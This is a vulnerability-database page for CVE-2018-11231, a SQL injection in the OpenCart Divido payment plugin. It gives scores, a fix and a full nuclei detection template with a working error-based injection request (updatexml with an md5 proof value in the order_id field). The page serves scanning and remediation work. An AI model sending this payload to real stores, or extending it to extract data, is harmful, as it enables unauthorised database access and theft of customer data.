HexBrain

Browse / CVEs / CVE-2018-11231

CVE-2018-11231· divido / divido· CWE-89

Opencart Divido - Sql Injection

highseverity
8.1CVSS score
8.8%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

OpenCart Divido plugin is susceptible to SQL injection

Impact

This vulnerability can lead to data theft, unauthorized access, and potential compromise of the entire Opencart Divido system.

Fix

Apply the official patch or upgrade to a version that includes the fix.

How to confirm it

Send: POST /upload/index.php?route=extension/payment/divido/update
Positive when: contains "{{md5({{num}})}}" AND status 200

Run it with nuclei: nuclei -id CVE-2018-11231 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-11231

info:
  name: Opencart Divido - Sql Injection
  author: ritikchaddha
  severity: high
  description: |
    OpenCart Divido plugin is susceptible to SQL injection
  impact: |
    This vulnerability can lead to data theft, unauthorized access, and potential compromise of the entire Opencart Divido system.
  remediation: |
    Apply the official patch or upgrade to a version that includes the fix.
  reference:
    - https://web.archive.org/web/20220331072310/http://foreversong.cn/archives/1183
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11231
    - http://foreversong.cn/archives/1183
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-11231
    cwe-id: CWE-89
    epss-score: 0.08754
    epss-percentile: 0.95202
    cpe: cpe:2.3:a:divido:divido:-:*:*:*:*:opencart:*:*
  metadata:
    max-request: 1
    vendor: divido
    product: divido
    framework: opencart
  tags: cve,cve2018,opencart,sqli,intrusive,divido,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /upload/index.php?route=extension/payment/divido/update HTTP/1.1
        Host: {{Hostname}}

        {"metadata":{"order_id":"1 and updatexml(1,concat(0x7e,(SELECT md5({{num}})),0x7e),1)"},"status":2}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5({{num}})}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from